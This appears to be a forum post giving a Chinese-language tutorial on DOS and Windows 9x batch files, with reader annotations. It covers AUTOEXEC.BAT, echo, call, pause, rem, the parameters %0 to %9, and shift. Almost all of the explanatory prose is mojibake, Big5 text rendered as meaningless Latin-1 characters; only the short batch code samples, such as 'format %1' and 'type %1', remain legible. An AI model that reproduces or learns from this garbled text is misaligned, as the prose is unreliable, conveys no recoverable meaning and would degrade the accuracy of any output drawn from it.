¨ä¦¸¡A§å¦¸Àɮ׬O¤@ºØ²³æªºµ{¦¡¡A¥i¥H³q¹L±ø¥ó»y¥y(if)©M¬yµ{±±¨î»y¥y(goto)¨Ó±±¨î©R¥O¹B¦æªº¬yµ{¡A¦b§å¦¸³B²z¤¤¤]¥i¥H¨Ï¥Î°j°é»y¥y(for)¨Ó°j°é°õ¦æ¤@±ø©R¥O¡C·íµM¡A§å¦¸Àɮתº½sµ{¯à¤O»PC»y¨¥µ¥½sµ{»y¥y¤ñ°_¨Ó¬O¤Q¤À¦³­­ªº¡A¤]¬O¤Q¤À¤£³W½dªº¡C§å¦¸³B²zªºµ{¦¡»y¥y´N¬O¤@±ø±øªºDOS©R¥O¡]¥]¬A¤º³¡©R¥O©M¥~³¡©R¥O¡^¡A¦Ó§å¦¸³B²zªº¯à¤O¥D­n¨ú¨M©ó§A©Ò¨Ï¥Îªº©R¥O¡C

==== willsort ½sª` ==================
§å¦¸ÀÉ®×(batch file)¤]¥i¥HºÙ¤§¬°§å¦¸³B²zµ{¦¡(batch program)¡A³o¤@ÂI»P½sĶ«¬»y¨¥¦³©Ò¤£¦P¡A´Nc»y¨¥¨Ó»¡¡A°ÆÀɦW¬°c©ÎªÌcppªºÀÉ¥i¥HºÙ¤§¬°c»y¨¥ÀɩΪÌc»y¨¥·½¥N½X¡A¦ý¥u¦³½sĶ³s±µ«áªºexeÀɤ~¥i¥HºÙ¤§¬°c»y¨¥µ{¦¡¡C¦]¬°§å¦¸ÀÉ®×¥»¨­¬J¨ã¦³¤å¥»ªº¥iŪ©Ê¡A¤S¨ã¦³µ{¦¡ªº¥i°õ¦æ©Ê¡A³o¨ÇºÙ¿×ªº¬É­­¬O¤ñ¸û¼Ò½kªº¡C
===========================

²Ä¤T¡A¨C­Ó½s¼g¦nªº§å¦¸Àɮ׳£¬Û·í©ó¤@­ÓDOSªº¥~³¡©R¥O¡A§A¥i¥H§â¥¦©Ò¦bªº¥Ø¿ý©ñ¨ì§AªºDOS·j¯Á¸ô®|(path)¤¤¨Ó¨Ï±o¥¦¥i¥H¦b¥ô·N¦ì¸m¹B¦æ¡C¤@­Ó¨}¦nªº²ßºD¬O¦bµwºÐ¤W«Ø¥ß¤@­Óbat©ÎªÌbatch¥Ø¿ý¡]¨Ò¦pC:\BATCH¡^¡AµM«á±N©Ò¦³§A½s¼gªº§å¦¸Àɮשñ¨ì¸Ó¥Ø¿ý¤¤¡A³o¼Ë¥u­n¦bpath¤¤³]¸m¤Wc:\batch¡A§A´N¥i¥H¦b¥ô·N¦ì¸m¹B¦æ©Ò¦³§A½s¼gªº§å¦¸³B²zµ{¦¡¡C

==== willsort ½sª` =====
¯Â¥Hdos¨t²Î¦Ó¨¥¡A¥i°õ¦æµ{¦¡¤j¬ù¥i¥H²Ó¤À¬°¤­Ãþ¡A¨Ì·Ó°õ¦æÀu¥ý¶¶§Ç¥Ñ°ª¨ì§C±Æ¦C¤À§O¬O¡GDOSKEY¥¨¶°©R¥O¡]¹w¥ý¾n¯d°O¾ÐÅé¡^¡ACOMMAND.COM¤¤ªº¤º³¡©R¥O¡]®Ú¾Ú°O¾ÐÅ骺Àô¹ÒÀH®É¶i¾n°O¾ÐÅé¡^¡A¥Hcom¬°°ÆÀɦWªº¥i°õ¦æµ{¦¡¡]¥Ñcommand.com ª½±µ¸ü¤J°O¾ÐÅé¡^¡A¥Hexe¦ì¤¸°ÆÀɦWªº¥i°õ¦æµ{¦¡¡]¥Ñcommand.com ­«©w¦ì«á¸ü¤J°O¾ÐÅé¡^¡A¥Hbat¦ì¤¸°ÆÀɦWªº§å¦¸³B²zµ{¦¡¡]¥Ñcommand.com ¸ÑÄÀ¤ÀªR¡A®Ú¾Ú¨ä¤º®e«öÀu¥ý¶¶§Ç¶¶§Ç½Õ¥Î²Ä2¡A3¡A4¡A5ºØ¥i°õ¦æµ{¦¡¡A¤ÀªR¤@¦æ¡A°õ¦æ¤@¦æ¡AÀÉ¥»¨­¤£¸ü¤J°O¾ÐÅé¡^
============

²Ä¥|¡A¦bDOS©MWin9x/Me¨t²Î¤U¡AC:½L®Ú¥Ø¿ý¤UªºAUTOEXEC.BAT§å¦¸Àɮ׬O¦Û°Ê¹B¦æ§å¦¸ÀɮסA¨C¦¸¨t²Î±Ò°Ê®É·|¦Û°Ê¹B¦æ¸ÓÀÉ¡A§A¥i¥H±N¨t²Î¨C¦¸±Ò°Ê®É³£­n¹B¦æªº©R¥O©ñ¤J¸ÓÀɤ¤¡A¨Ò¦p³]¸m·j¯Á¸ô®|¡A½Õ¤J·Æ¹«ÅX°Ê©MºÏ¤ù½w¦s¡A³]¸m¨t²ÎÀô¹ÒÅܼƵ¥¡C¤UÄѬO¤@­Ó¹B¦æ©óWindows 98¤Uªºautoexec.batªº¥Ü¨Ò¡G
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;

C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
==== willsort ½sª` =====
AUTOEXEC.BAT¬°DOS¨t²Îªº¦Û°Ê¹B¦æ§å¦¸ÀɮסA¥ÑCOMMAND.COM±Ò°Ê®É¸ÑÄÀ°õ¦æ¡F
¦Ó¦bWin9xÀô¹Ò¤¤¡A¤£¶È¼W¥[¤ä«ù¤F DOSSTART.BAT, WINSTART.BAT µ¥³\¦h¨ä¥L¦Û°Ê¹B¦æªº§å¦¸ÀɮסA¹ïAUTOEXEC.BAT ¤]¼W¥[¤F .DOS .W40 .BAK .OLD .PWS µ¥³\¦hÅÜÅé¥H¾AÀ³½ÆÂøªºÀô¹Ò©M¦hÅܪº»Ý¨D¡C
==== willsort ½sª` =============
¥H¤UÃö©ó©R¥Oªº¤ÀÃþ¡A¦³«Ü¦h­È±o±ÀºVªº¦a¤è¡C±`¥Î©R¥O¤¤ªº@¥»¤£¬O©R¥O¡A¦Ódir¡Bcopyµ¥¤]«Ü±`¥Îªº©R¥O«o¨S¦³¦C¤J, ¦Ó¯S®í©R¥O¤¤©Ò¦³©R¥O¹ï§Ú¨Ó»¡³£¬O±`¥Î©R¥O¡C«Øij±N§å¦¸³B²z©Ò¤Þ¥Îªº©R¥O¤À¬°¤º³¡©R¥O¡B¥~³¡©R¥O¡B²Ä¤T¤èµ{¦¡¤TÃþ¡C¦Ó¤º³¡©R¥O©M¥~³¡©R¥O¤¤§O¦³¤@Ãþ¬O±M¥Î©ó©Î±`¥Î©ó§å¦¸³B²z¤¤ªº©R¥O¥iºÙ¤§¬°"§å¦¸³B²z©R¥O"¡C

¥H¤UºK¿ýMS-DOS 6.22 À°§U¤åÀɤ¤Ãö©ó"§å¦¸³B²z©R¥O"ªº¤å¦r¡A·íµM¡A¨ä¤¤¦³¨Ç·§©À©M©w¸q¤w¸g¦³¨Ç¸¨«á¤F¡C

§å¦¸³B²z©R¥O

§å¦¸ÀɮשΧ妸³B²zµ{¦¡¬O¤@­Ó¥]§t­Y¤zMS-DOS©R¥Oªº¥¿¤åÀÉ¡A°ÆÀɦW¬°.BAT¡C·í¦b©R¥O´£¥Ü²Å¤UºV¤J§å¦¸³B²zµ{¦¡ªº¦WºÙ®É¡AMS-DOS¦¨²Õ°õ¦æ¦¹§å¦¸³B²zµ{¦¡¤¤ªº©R¥O¡C

¥ô¦ó¦b©R¥O´£¥Ü²Å¤U¥i¨Ï¥Îªº©R¥O³£¥i¥Î¦b§å¦¸³B²zµ{¦¡¤¤¡C¦¹¥~¡A¤U­±MS-DOS©R¥O¬O±Mªù¦b§å¦¸³B²zµ{¦¡¤¤¨Ï¥Îªº¡C
==========

±`¥Î©R¥O

echo¡B@¡Bcall¡Bpause¡Brem(¤p§Þ¥©¡G¥Î::¥N´Àrem)¬O§å¦¸Àɮ׳̱`¥Îªº´X­Ó©R¥O¡A§Ú­Ì´N±q¥L­Ì¶}©l¾Ç°_¡C

==== willsort ½sª` ===========
­º¥ý, @ ¤£¬O¤@­Ó©R¥O, ¦Ó¬ODOS §å¦¸³B²zªº¤@­Ó¯S®í¼Ð°O²Å, ¶È¥Î©ó¾B¸n©R¥O¦æ¦^Åã. ¤U­±¬ODOS©R¥O¦æ©Î§å¦¸³B²z¤¤¥i¯à·|¨£¨ìªº¤@¨Ç¯S®í¼Ð°O²Å:
CR(0D) ©R¥O¦æµ²§ô²Å
Escape(1B) ANSIÂà¸q¦r¤¸¤Þ¾É²Å
Space(20) ±`¥Îªº°Ñ¼Æ¬É©w²Å
Tab(09) ; = ¤£±`¥Îªº°Ñ¼Æ¬É©w²Å
+ COPY©R¥O¤å¥ó³s±µ²Å
* ? ¤å¥ó³q°t²Å
"" ¦r¦ê¬É©w²Å
| ©R¥OºÞ¹D²Å
< > >> ¤å¥ó­«©w¦V²Å
@ ©R¥O¦æ¦^Åã¾B¸n²Å
/ °Ñ¼Æ¶}Ãö¤Þ¾É²Å
: §å¦¸³B²z¼ÐÅҤ޾ɲÅ
% §å¦¸³B²zÅܼƤ޾ɲÅ

¨ä¦¸, :: ½T¹ê¥i¥H°_¨ìrem ªºª`ÄÀ§@¥Î, ¦Ó¥B§ó²¼ä¦³®Ä; ¦ý¦³¨âÂI»Ý­nª`·N:
²Ä¤@, °£¤F :: ¤§¥~, ¥ô¦ó¥H :¶}ÀYªº¦r¤¸¦æ, ¦b§å¦¸³B²z¤¤³£³Qµø§@¼Ð¸¹, ¦Óª½±µ©¿²¤¨ä«áªº©Ò¦³¤º®e, ¥u¬O¬°¤F»P¥¿±`ªº¼Ð¸¹¬Û°Ï§O, «Øij¨Ï¥Î goto ©ÒµLªkÃѧOªº¼Ð¸¹, §Y¦b :«áºò¸ò¤@­Ó«D¦r¥À¼Æ¦ì¤¸ªº¤@­Ó¯S®í²Å¸¹.
²Ä¤G, »Prem ¤£¦Pªº¬O, ::«áªº¦r¤¸¦æ¦b°õ¦æ®É¤£·|¦^Åã, µL½×¬O§_¥Îecho on¥´¶}©R¥O¦æ¦^Å㪬ºA, ¦]¬°©R¥O¸ÑÄÀ¾¹¤£»{¬°¥L¬O¤@­Ó¦³®Äªº©R¥O¦æ, ´N¦¹ÂI¨Ó¬Ý, rem ¦b¬Y¨Ç³õ¦X¤U±N¤ñ :: §ó¬°¾A¥Î; ¥t¥~, rem ¥i¥H¥Î©ó config.sys ¤å¥ó¤¤.
=====================

echo ªí¥ÜÅã¥Ü¦¹©R¥O«áªº¦r¤¸
echo off ªí¥Ü¦b¦¹»y¥y«á©Ò¦³¹B¦æªº©R¥O³£¤£Åã¥Ü©R¥O¦æ¥»¨­
@»Pecho off¬Û¶H¡A¦ý¥¦¬O¥[¦b¨C­Ó©R¥O¦æªº³Ì«e­±¡Aªí¥Ü¹B¦æ®É¤£Åã¥Ü³o¤@¦æªº©R¥O¦æ¡]¥u¯à¼vÅT·í«e¦æ¡^¡C
call ½Õ¥Î¥t¤@­Ó§å¦¸Àɮס]¦pªG¤£¥Îcall¦Óª½±µ½Õ¥Î§Oªº§å¦¸ÀɮסA¨º»ò°õ¦æ§¹¨º­Ó§å¦¸Àɮ׫á±NµLªkªð¦^·í«eÀɨðõ¦æ·í«eÀɪº«áÄò©R¥O¡^¡C
pause ¹B¦æ¦¹¥y·|¼È°±§å¦¸³B²zªº°õ¦æ¨Ã¦b¿Ã¹õ¤WÅã¥ÜPress any key to continue...ªº´£¥Ü¡Aµ¥«Ý¥Î¤á«ö¥ô·NÁä«áÄ~Äò
rem ªí¥Ü¦¹©R¥O«áªº¦r¤¸¬°¸ÑÄÀ¦æ¡]ª`ÄÀ¡^¡A¤£°õ¦æ¡A¥u¬Oµ¹¦Û¤v¤µ«á°Ñ¦Ò¥Îªº¡]¬Û·í©óµ{¦¡¤¤ªºª`ÄÀ¡^¡C
==== willsort ½sª` =====
¦¹³Bªº´y­z¸û¬°²V¶Ã, ¤£¦pª½±µ¤Þ¥Î­Ó©R¥Oªº©R¥O¦æÀ°§U§ó¬°±ø²z

-------------------------
ECHO

·íµ{¦¡¹B¦æ®É¡AÅã¥Ü©ÎÁôÂç妸³B²zµ{¦¡¤¤ªº¥¿¤å¡C¤]¥i¥Î©ó¤¹³\©Î¸T¤î©R¥Oªº¦^Åã¡C

¦b¹B¦æ§å¦¸³B²zµ{¦¡®É¡AMS-DOS¤@¯ë¦b¿Ã¹õ¤WÅã¥Ü¡]¦^Åã¡^§å¦¸³B²zµ{¦¡¤¤ªº©R¥O¡C
¨Ï¥ÎECHO©R¥O¥iÃö³¬¦¹¥\¯à¡C

»yªk

ECHO [ON|OFF]

­Y­n¥Îecho©R¥OÅã¥Ü¤@±ø©R¥O¡A¥i¥Î¤U­z»yªk¡G

echo [message]

°Ñ¼Æ

ON|OFF
«ü©w¬O§_¤¹³\©R¥Oªº¦^Åã¡C­Y­nÅã¥Ü·í«eªºECHOªº³]¸m¡A¥i¨Ï¥Î¤£±a°Ñ¼ÆªºECHO
©R¥O¡C

message
«ü©wÅýMS-DOS¦b¿Ã¹õ¤WÅã¥Üªº¥¿¤å¡C

-------------------

CALL

±q¤@­Ó§å¦¸³B²zµ{¦¡¤¤½Õ¥Î¥t¤@­Ó§å¦¸³B²zµ{¦¡¡A¦Ó¤£·|¤Þ°_²Ä¤@­Ó§å¦¸³B²zªº¤¤¤î¡C

»yªk

CALL [drive:][path]filename [batch-parameters]

°Ñ¼Æ

[drive:][path]filename
«ü©w­n½Õ¥Îªº§å¦¸³B²zµ{¦¡ªº¦W¦r¤Î¨ä¦s©ñ³B¡CÀɮצW¥²¶·¥Î.BAT§@°ÆÀɦW¡C


batch-parameters
«ü©w§å¦¸³B²zµ{¦¡©Ò»Ýªº©R¥O¦æ¸ê°T¡C

-------------------------------

PAUSE

¼È°±§å¦¸³B²zµ{¦¡ªº°õ¦æ¨ÃÅã¥Ü¤@±ø®ø®§¡A´£¥Ü¥Î¤á«ö¥ô·NÁäÄ~Äò°õ¦æ¡C¥u¯à¦b§å³B
²zµ{¦¡¤¤¨Ï¥Î¸Ó©R¥O¡C

»yªk

PAUSE


REM

¦b§å¦¸ÀɮשÎCONFIG.SYS¤¤¥[¤Jª`¸Ñ¡C¤]¥i¥ÎREM©R¥O¨Ó¾B¸n©R¥O¡]¦bCONFIG.SYS
¤¤¤]¥i¥H¥Î¤À¸¹(;)¥N´ÀREM©R¥O¡A¦ý¦b§å¦¸Àɮפ¤«h¤£¯à´À¥N¡^¡C

»yªk

REM [string]

°Ñ¼Æ

string
«ü©w­n¾B¸nªº©R¥O©Î­n¥]§tªºª`¸Ñ¡C
=======================

¨Ò1¡G¥Îedit½s¿èa.batÀÉ¡A¿é¤J¤U¦C¤º®e«á¦sÀɬ°c:\a.bat¡A°õ¦æ¸Ó§å¦¸Àɮ׫á¥i¹ê²{¡G±N®Ú¥Ø¿ý¤¤©Ò¦³Àɼg¤J a.txt¤¤¡A±Ò°ÊUCDOS¡A¶i¤JWPSµ¥¥\¯à¡C

¡@¡@§å¦¸Àɮתº¤º®e¬°: ¡@¡@¡@¡@¡@¡@¡@ ©R¥Oª`ÄÀ¡G

¡@¡@¡@¡@@echo off¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@¤£Åã¥Ü«áÄò©R¥O¦æ¤Î·í«e©R¥O¦æ
¡@¡@¡@¡@dir c:\*.* >a.txt¡@¡@¡@¡@¡@¡@¡@±Nc½L¤å¥ó¦Cªí¼g¤Ja.txt
¡@¡@¡@¡@call c:\ucdos\ucdos.bat¡@¡@¡@¡@½Õ¥Îucdos
¡@¡@¡@¡@echo §A¦n ¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@ Åã¥Ü"§A¦n"
¡@¡@¡@¡@pause ¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@ ¼È°±,µ¥«Ý«öÁäÄ~Äò
¡@¡@¡@¡@rem ·Ç³Æ¹B¦æwps ¡@¡@¡@¡@¡@¡@¡@ ª`ÄÀ¡G·Ç³Æ¹B¦æwps
¡@¡@¡@¡@cd ucdos¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@ ¶i¤Jucdos¥Ø¿ý
¡@¡@¡@¡@wps ¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@ ¹B¦æwps¡@¡@

§å¦¸Àɮתº°Ñ¼Æ

§å¦¸ÀÉ®×ÁÙ¥i¥H¹³C»y¨¥ªº¨ç¼Æ¤@¼Ë¨Ï¥Î°Ñ¼Æ¡]¬Û·í©óDOS©R¥Oªº©R¥O¦æ°Ñ¼Æ¡^¡A³o»Ý­n¥Î¨ì¤@­Ó°Ñ¼Æªí¥Ü²Å"%"¡C

%[1-9]ªí¥Ü°Ñ¼Æ¡A°Ñ¼Æ¬O«ü¦b¹B¦æ§å¦¸Àɮ׮ɦbÀɮצW«á¥[ªº¥HªÅ®æ¡]©ÎªÌTab¡^¤À¹jªº¦r¦ê¡CÅܼƥi¥H±q%0¨ì%9¡A%0ªí¥Ü§å¦¸³B²z©R¥O¥»¨­¡A¨ä¥L°Ñ¼Æ¦r¦ê¥Î%1¨ì%9¶¶§Çªí¥Ü¡C

¨Ò2¡GC:®Ú¥Ø¿ý¤U¦³¤@§å¦¸ÀɮצW¬°f.bat¡A¤º®e¬°¡G
@echo off
format %1

¦pªG°õ¦æC:\>f a:
¨º»ò¦b°õ¦æf.bat®É¡A%1´Nªí¥Üa:¡A³o¼Ëformat %1´N¬Û·í©óformat a:¡A©ó¬O¤W­±ªº©R¥O¹B¦æ®É¹ê»Ú°õ¦æªº¬Oformat a:

¨Ò3¡GC:®Ú¥Ø¿ý¤U¤@§å¦¸ÀɮצW¬°t.bat¡A¤º®e¬°:
@echo off
type %1
type %2

¨º»ò¹B¦æC:\>t a.txt b.txt
%1 : ªí¥Üa.txt
%2 : ªí¥Üb.txt
©ó¬O¤W­±ªº©R¥O±N¶¶§Ç¦aÅã¥Üa.txt©Mb.txtÀɪº¤º®e¡C

==== willsort ½sª` ===============
°Ñ¼Æ¦b§å¦¸³B²z¤¤¤]§@¬°ÅܼƳB²z, ©Ò¥H¦P¼Ë¨Ï¥Î¦Ê¤À¸¹§@¬°¤Þ¾É²Å, ¨ä«á¸ò0-9¤¤ªº¤@­Ó¼Æ¦rºc¦¨°Ñ¼Æ¤Þ¥Î²Å. ¤Þ¥Î²Å©M°Ñ¼Æ¤§¶¡ (¨Ò¦p¤W¤å¤¤ªº %1 »P a: ) ªºÃö«YÃþ¦ü©óÅܼƫü¼Ð»PÅܼƭȪºÃö«Y. ·í§Ú­Ì­n¤Þ¥Î²Ä¤Q¤@­Ó©Î§ó¦h­Ó°Ñ¼Æ®É, ´N¥²¶·²¾°ÊDOS ªº°Ñ¼Æ°_©l«ü¼Ð. shift ©R¥O¥¿¥R·í¤F³o­Ó²¾°Ê«ü¼Ðªº¨¤¦â, ¥¦±N°Ñ¼Æªº°_©l«ü¼Ð²¾°Ê¨ì¤U¤@­Ó°Ñ¼Æ, Ãþ¦üC »y¨¥¤¤ªº«ü¼Ð¾Þ§@. ¹Ï¥Ü¦p¤U:

ªì©lª¬ºA, cmd ¬°©R¥O¦W, ¥i¥H¥Î %0 ¤Þ¥Î
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

¸g¹L1¦¸shift«á, cmd ±NµLªk³Q¤Þ¥Î
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

¸g¹L2¦¸shift«á, arg1¤]³Q¼o±ó, %9«ü¦V¬°ªÅ, ¨S¦³¤Þ¥Î·N¸q
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8

¿ò¾Ñªº¬O, win9x ©MDOS¤U§¡¤£¤ä´© shift ªº°f¾Þ§@. ¥u¦³¦b nt ¤º®Ö©R¥O¦æÀô¹Ò¤U, shift ¤~¤ä´© /n °Ñ¼Æ, ¥i¥H¥H²Ä¤@°Ñ¼Æ¬°°ò·Çªð½Æ²¾°Ê°_©l«ü¼Ð.




Åwªï¥úÁ{ x2bbs (http://wen-jos.idv.tw/) Powered by Discuz! 7.0.0